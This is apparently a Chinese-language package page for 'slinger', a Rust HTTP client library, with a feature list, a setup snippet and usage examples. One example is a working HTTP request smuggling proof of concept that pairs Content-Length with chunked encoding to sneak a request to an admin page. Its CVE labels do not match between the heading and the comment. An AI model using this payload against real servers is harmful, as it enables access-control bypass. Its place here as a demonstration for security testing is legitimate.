10 个版本
新增 0.1.9 | 2024 年 8 月 15 日 |
---|---|
0.1.8 | 2024 年 7 月 24 日 |
0.1.2 | 2024 年 5 月 30 日 |
1026 在 网络编程
908 每月下载量
140KB
3K SLoC
关于项目
- 可自定义的重定向策略
- http/https 和 socks5/socks5h 代理
- cookie 存储
- 原始套接字请求
- 通过 tls 的 HTTPS
(返回顶部)
入门
此示例启用了一些可选功能,因此您的 Cargo.toml
可能看起来像这样
[dependencies]
slinger = { version = "0.1.2", features = ["serde", "cookie", "charset", "tls", "gzip"] }
然后是代码
fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get")?;
println!("{:?}", resp.text());
Ok(())
}
示例
- Nginx - Http Smuggling CVE-2019-20372
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::new().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send()?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
更多示例,请参阅 示例
(返回顶部)
贡献
贡献使得开源社区成为一个如此神奇的地方来学习、灵感和创造。您所做出的任何贡献都 非常欢迎。
如果您有改进此项目的建议,请 fork 仓库并创建一个 pull request。您也可以简单地通过带有 "enhancement" 标签的问题来提交。别忘了给项目加星!再次感谢!
- fork 项目
- 创建您的功能分支 (
git checkout -b feature/AmazingFeature
) - 提交您的更改 (
git commit -m 'Add some AmazingFeature'
) - 推送到分支 (
git push origin feature/AmazingFeature
) - 打开 pull request
(返回顶部)
许可证
在 GPL-3.0-only
许可下分发。有关更多信息,请参阅 LICENSE
。
(返回顶部)
联系
您的名字 - @Kali_Team - [email protected]
项目链接: https://github.com/emo-crab/slinger
(返回顶部)
致谢
(返回顶部)
依赖项
~1–12MB
~171K SLoC